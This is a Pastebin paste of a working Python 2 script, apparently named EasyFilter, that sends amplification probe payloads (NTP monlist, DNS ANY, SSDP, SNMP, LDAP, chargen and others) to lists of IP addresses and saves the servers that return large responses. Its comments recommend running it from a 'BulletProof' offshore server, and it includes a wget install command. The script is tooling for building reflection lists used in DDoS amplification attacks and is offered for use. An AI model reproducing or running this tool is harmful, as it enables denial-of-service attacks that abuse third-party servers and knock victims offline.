Advertisement
KhaosBringer

MultiAmpFilter.py

Nov 26th, 2018
1,653
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.09 KB | None | 1 0
  1. #Fast filter lists. (0.05 seconds by server).
  2. # Chargen, NTP, Quake, SSDP, SNMP, DNS, LDAP, MDNS, TFTP, PortMap, Netbios supported.
  3. # Anti-Duplication feature.
  4. # Filter bytes response.
  5. # Custom output syntax support.
  6. # Lightweight.
  7. #Installation
  8. #wget -O filter.py https://raw.githubusercontent.com/Alemalakra/EasyFilter/master/filter.py && chmod 777 filter.py
  9.  
  10. #Usage
  11. #[!] EasyFilter 1.0 by Alemalakra.
  12. #[!] Usage: filter.py <INPUT> <OUTPUT> <PROTOCOL> <MIN BYTES> <OUTPUT SYNTAX>
  13. #[!] Protocols: chargen, ntp, quake, ssdp, ldap, dns, snmp, mdns, tftp, portmap, netbios
  14. #[!] Output syntax variables: [space], [ip], [bytes]
  15. #Sample Usage
  16. #python filter.py ntp_old.txt ntp_filtred.txt ntp 42 [ip][space][bytes]
  17. #Requeriments
  18. # Python 2.*
  19.  #Server offshore (BulletProof, Recommended)
  20.  
  21. #!usr/bin/python
  22. # -*- coding: utf-8 -*-
  23. import socket
  24. import sys
  25.  
  26. if len(sys.argv) < 2:
  27.     print '[!] EasyFilter 1.0 by Alemalakra.'
  28.     print '[!] Usage: filter.py <INPUT> <OUTPUT> <PROTOCOL> <MIN BYTES> <OUTPUT SYNTAX>'
  29.     print '[!] Protocols: chargen, ntp, quake, ssdp, ldap, dns, snmp, mdns, tftp, portmap, netbios'
  30.     print '[!] Output syntax variables: [space], [ip], [bytes]'
  31.     sys.exit()
  32.  
  33. s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  34. s.settimeout(0.05) # Fast list/scan of course.
  35.  
  36. # PayLoads.
  37. chargen = 'A'#lemalakra
  38. ntp = '\x17\x00\x03\x2a\x00\x00\x00\x00'
  39. quake = '\xFF\xFF\xFF\xFF\x67\x65\x74\x73\x74\x61\x74\x75\x73\x10'
  40. ssdp = "\x4d\x2d\x53\x45\x41\x52\x43\x48\x20\x2a\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0D​\x0A\x48\x6f\x73\x74\x3a\x32\x33\x39\x2e\x32\x35\x35\x2e\x32\x35\x35\x2e\x32\x35​\x30\x3a\x31\x39\x30\x30\x0D\x0A\x53\x54\x3a\x73\x73\x64\x70\x3a\x61\x6c\x6c\x0D​\x0A\x4d\x61\x6e\x3a\x22\x73\x73\x64\x70\x3a\x64\x69\x73\x63\x6f\x76\x65\x72\x22​\x0D\x0A\x4d\x58\x3a\x33\x0D\x0A\x0D\x0A"
  41. snmp = '\x30\x37\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x2a\x02\x04\x06\x29\x07\x31\x02\x01\x00\x02\x01\x0a\x30\x1c\x30\x0b\x06\x07\x2b\x06\x01\x02\x01\x01\x01\x05\x00\x30\x0d\x06\x09\x2b\x06\x01\x02\x01\x01\x09\x01\x03\x05\x00'
  42. dns = '\xc4\x75\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\xff\x00\x01\x00\x00\x29\x23\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
  43. ldap = '\x30\x84\x00\x00\x00\x2d\x02\x01\x01\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00\x00'
  44. mdns = '\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63​\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61​\x6C\x00\x00\x0C\x00\x01'
  45. tftp = '\x00\x01\x2f\x78\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00'
  46. portmap = '\x65\x72\x0A\x37\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0\x00\x00\x00\x02​\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00​'
  47. netbios = '\xE5\xD8\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4B\x41\x41\x41\x41\x41​\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41​\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01'
  48.  
  49. file1 = sys.argv[1] #Input
  50. file2 = sys.argv[2] #Output
  51. proto = sys.argv[3]
  52. size = int(sys.argv[4])
  53. syntax = sys.argv[5]
  54. with open(file1) as f:
  55.     list = f.read().splitlines()
  56. newfile = open(file2, 'w')
  57. if proto == 'tftp':
  58.     port = 69
  59.     payload = tftp
  60. elif proto == 'portmap':
  61.     port = 111
  62.     payload = portmap
  63. elif proto == 'netbios':
  64.     port = 137
  65.     payload = netbios
  66. elif proto == 'ntp':
  67.     port = 123
  68.     payload = ntp
  69. elif proto == 'mdns':
  70.     port = 5353
  71.     payload = mdns
  72. elif proto == 'chargen':
  73.     port = 19
  74.     payload = chargen
  75. elif proto == 'snmp':
  76.     port = 161
  77.     payload = snmp
  78. elif proto == 'dns':
  79.     port = 53
  80.     payload = dns
  81. elif proto == 'quake':
  82.     port = 27960
  83.     payload = quake
  84. elif proto == 'ssdp':
  85.     port = 1900
  86.     payload = ssdp
  87. elif proto == 'ldap':
  88.     port = 389
  89.     payload = ldap
  90. else:
  91.     print '[!] Protocol is not available'
  92.     sys.exit()
  93. # Start Loop
  94. c = 0
  95. servers = []
  96. while c < len(list):
  97.     split = list[c].split(" ") # Bytes ones, and non bytes ones
  98.     s.sendto(payload, (split[0], port))
  99.     try:
  100.         data, addr = s.recvfrom(65500)
  101.         syntax_output = ""
  102.         if len(data) >= size:
  103.             if any(addr[0] in s for s in servers):
  104.                 # Already Exists
  105.                 rip = 0
  106.             else:
  107.                 # Add so.
  108.                 print '[!] Recived Working Server: %s Recived Bytes: %i' % ( addr[0],len(data) )
  109.                 syntax_output = syntax.replace("[space]", " ", 5) # 5 is fine.
  110.                 syntax_output = syntax_output.replace("[bytes]", str(len(data)), 5) # 5 is fine.
  111.                 syntax_output = syntax_output.replace("[ip]", str(addr[0]), 5) # 5 is fine.
  112.                 newfile.write(str(syntax_output)+'\n')
  113.                 servers.append(addr[0])
  114.     except Exception and socket.error and socket.timeout:
  115.         I = 0
  116.     c += 1
  117.  
  118. newfile.close()
  119. with open(file2) as e:
  120.     count = e.read().splitlines()
  121. print '[!] Finished Filter saved to %s with %i working servers.' % ( file2,len(count) )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement